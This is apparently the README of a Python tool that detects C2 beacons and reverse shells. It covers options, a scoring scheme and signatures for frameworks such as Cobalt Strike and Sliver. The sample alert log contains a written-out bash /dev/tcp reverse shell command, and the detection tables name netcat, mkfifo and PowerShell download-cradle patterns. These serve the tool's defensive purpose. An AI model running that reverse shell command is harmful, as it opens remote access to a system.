
Berry Sentinel v5.0 — Fortschrittlicher verhaltensbasierter C2- und Reverse-Shell-Erkenner für Linux/Windows/Unix-Systeme. Bietet Echtzeit-Verbindungsanalyse, heuristisches Scoring, C2-Framework-Signaturerkennung, Beacon-Intervall-Analyse und eine interaktive curses-basierte TUI mit Prozess-Kill-Engine.
Verhaltensbasierter Echtzeit-Detektor für C2-Verbindungen (Command & Control)
Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine
Berry Sentinel überwacht alle aktiven Netzwerkverbindungen auf Ihrem System und analysiert das Verhalten der Prozesse, die sie erzeugen, um bösartige Aktivitäten zu erkennen – ohne Verwendung von Antiviren-Signaturdatenbanken oder gesperrten IP-Listen.
Er erkennt Reverse Shells, Webshells, RATs, C2-Beacons und Frameworks wie Meterpreter, Cobalt Strike, Sliver oder Empire, indem er beobachtet, wie sich ein Prozess verhält: Wenn ein Python-Interpreter seine stdin mit einem entfernten Socket verbunden hat, ist das verdächtig, auch wenn die IP unbekannt ist.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Verhaltensbasierter C2-Detektor · Interaktive TUI ║
║ Verbindungen: 38 │ Bedrohungen: 2 │ Signaturen: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTE STATUS SIGNATUREN/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █KRITISCH 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲HOCH 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil optional für zusätzliche Abdeckung# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (Opcional pero recomendado) instalar psutil
pip install psutil
# Ejecutar
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses puede no estar disponible en Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [opciones]
Optionen:
--all, -a Lokale/Loopback-Verbindungen einbeziehen (zusätzlich zu entfernten)
--interval N, -i N Aktualisierung alle N Sekunden (Standard: 2, min: 0,5)
--log FILE, -l FILE Warnungen in Datei speichern (JSONL-Format)
--json, -j Vollständiges JSON beim Beenden exportieren
--whitelist LISTE Zu ignorierende IPs oder CIDRs, durch Komma getrennt
--no-color Keine ANSI-Farben (nützlich für Pipes oder Logs)
--verbose, -v Alle Verbindungen anzeigen, nicht nur verdächtige
--top N, -t N Maximale Zeilen in der Tabelle (Standard: 50)
--diag, -d Diagnose: zeigt, welche Sammelmethoden funktionieren
--no-tui Legacy-Modus ohne curses (klassisches Scrollen, portabler)
--version, -V Version anzeigen und beenden
# Interaktive TUI — empfohlener Modus
python3 BerrySentinel.py
# Deep Scan mit root (greift auf Prozessspeicher zu)
sudo python3 BerrySentinel.py --all
# Warnungen speichern und JSON beim Beenden exportieren
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# Internes Netz ignorieren und alle 5 Sekunden aktualisieren
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# Textmodus zur Verwendung in Skripten oder per SSH ohne interaktives Terminal
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# Anzeigen, welche Sammelmethoden auf dem aktuellen System funktionieren
python3 BerrySentinel.py --diag --no-tui
# Nur schwerwiegende Warnungen, Aktualisierung alle 10 Sekunden, Log speichern
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
Jede Verbindung erhält einen Score von 0 bis 100 basierend auf den erkannten Indikatoren:
Schweregrad nach Score:
Berry Sentinel enthält Signaturen für die folgenden Frameworks (Bewertung nach Ports, Prozessname, Befehlszeile und Beacon-Mustern):
Jede Warnung wird als separate JSON-Zeile aufgezeichnet:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
Procesar con jq:
# Filtrar solo conexiones críticas
jq 'select(.sev == "CRÍTICO")' sentinel.log
# Ver todos los PIDs sospechosos
jq '[.pid] | unique' sentinel_export.json
# Buscar por firma específica
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── Globale Konstanten
│ ├── SHELL_BINS, SCRIPT_ENGINES — Namen von Shells und Interpretern
│ ├── C2_SUSPECT_PORTS — Typische C2-Ports
│ ├── PRIVATE_NETS — Private IP-Bereiche
│ └── C2_SIGNATURES — Signaturen bekannter Frameworks
│
├── Datenmodelle
│ ├── C2Signature — Definition einer C2-Signatur
│ ├── ProcInfo — Betriebssystem-Prozessinfo
│ ├── Conn — Netzwerkverbindung + Analyseergebnis
│ └── BeaconTracker — Erkennung von C2-Beacons
│
├── Datensammlung
│ ├── Collector — Orchestriert mehrere Netzwerkquellen
│ ├── parse_proc_net_content() — Parser für /proc/net/*
│ ├── build_inode_pid_map() — Inode→PID-Zuordnung
│ ├── get_proc_info() — Prozessinfo via /proc
│ └── get_proc_info_psutil() — Prozessinfo via psutil
│
├── Analyse
│ ├── Engine.analyze() — Score + Verhaltenstags
│ ├── Engine._beacon() — Beacon-Erkennung
│ └── match_signatures() — Abgleich von C2-Signaturen
│
├── Ausgabe
│ ├── CursesTUI — Interaktive TUI (Standardmodus)
│ ├── LegacyTUI — ANSI-Ausgabe ohne curses (Fallback)
│ └── Logger — JSONL-Log auf Datenträger
│
└── Sentinel — Hauptorchestrator
psutil — optional, aber sehr empfohlen (pip install psutil)Ohne zusätzliche Abhängigkeiten funktioniert das Tool mit der Python-Standardbibliothek. psutil erweitert die Abdeckung auf macOS und Windows, wo /proc nicht existiert.
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="Nicht autorisierte interne Unternehmens-RAT",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[WARNUNG] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# Eigene Logik hinzufügen
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel wurde entwickelt, um Ihr eigenes System oder Systeme zu überwachen, für die Sie ausdrücklich autorisiert sind. Die Kill-Engine wird nur aktiv, wenn der Benutzer es explizit anfordert. Verwenden Sie es verantwortungsvoll und in Übereinstimmung mit den geltenden Gesetzen in Ihrer Gerichtsbarkeit.
MIT — siehe LICENSE
| Taste | Aktion |
|---|
↑ / ↓ | Zwischen Verbindungen navigieren |
d / D | Detailbereich der ausgewählten Verbindung anzeigen |
k / K | Prozess beenden (fragt nach PID-Bestätigung) |
f / F | Schweregradfilter durchlaufen: ALLE → MITTEL → HOCH → KRITISCH |
r | Sofortige Aktualisierung erzwingen |
ESC | Detailbereich schließen oder Vorgang abbrechen |
q | Beenden |
| Indikator | Punkte | Tag |
|---|
| stdin/stdout → Socket | +55 | FD→SOCK |
| Shell-Binärdatei mit entfernter Verbindung | +40 | SHELL→NET |
| Webshell (Shell als Kind von Apache/Nginx) | +35 | WEBSHELL |
| Bind-Shell auf hohem Port | +35 | BIND-SHELL |
| Verwendung von netcat/socat | +35 | NETCAT |
Umleitung /dev/tcp oder mkfifo | +40 | PIPE-REDIR |
| Ausführbare Datei von Festplatte gelöscht | +25 | EXE-DEL! |
Ausführbare Datei in /tmp oder /dev/shm | +15 | EXE-TMP |
| Beacon erkannt (zyklische Verbindung) | +25×conf | BCN(60s) |
| Signatur Meterpreter | +55 | SIG:Meterpreter |
| Signatur Cobalt Strike | +60 | SIG:CobaltStrike |
| Signatur Sliver | +58 | SIG:Sliver |
| RWX-Speicherregionen | +20 | RWX(N) |
| LD_PRELOAD oder HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| Skriptinterpreter verbunden | +25 | INTERP→NET |
| eval/exec in der Befehlszeile | +18 | EVAL |
| Remote PowerShell (IEX, DownloadString) | +30 | PS-REM |
| Score | Schweregrad | Farbe |
|---|
| ≥ 65 | KRITISCH | 🔴 Helles Rot |
| ≥ 45 | HOCH | 🟠 Orange |
| ≥ 25 | MITTEL | 🟡 Gelb |
| ≥ 8 | NIEDRIG | 🔵 Cyan |
| < 8 | INFO | ⚪ Grau |
| Framework | Score-Bonus | Wichtige Indikatoren |
|---|
| Meterpreter | +55 | Port 4444, Prozess ruby/msfconsole |
| Cobalt Strike | +60 | Port 50050, Beacon ~60s, Prozess java |
| Sliver | +58 | Port 31337/8888, Beacon ~60s |
| Empire | +55 | Port 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | Port 2083, Prozess badger |
| Havoc | +58 | Port 40056, demon.x64/x86 |
| Pupy RAT | +52 | Port 9999, pupy.py |
| Merlin | +54 | Port 8443, merlin-agent |
| Covenant | +54 | Port 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | Port 7443, poseidon/apfell |
| QuasarRAT | +50 | Port 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | Port 53, dnscat/iodine |
| System | Unterstützung | Hinweise |
|---|
| Linux | ✅ Vollständig | Mit root aktiviert Deep Scan |
| Android/Termux | ✅ Vollständig | Verwenden Sie --no-tui, wenn curses fehlschlägt |
| macOS | ⚠️ Teilweise | Kein /proc; verwendet netstat+psutil |
| Windows | ⚠️ Teilweise | netstat+psutil, keine Speicheranalyse |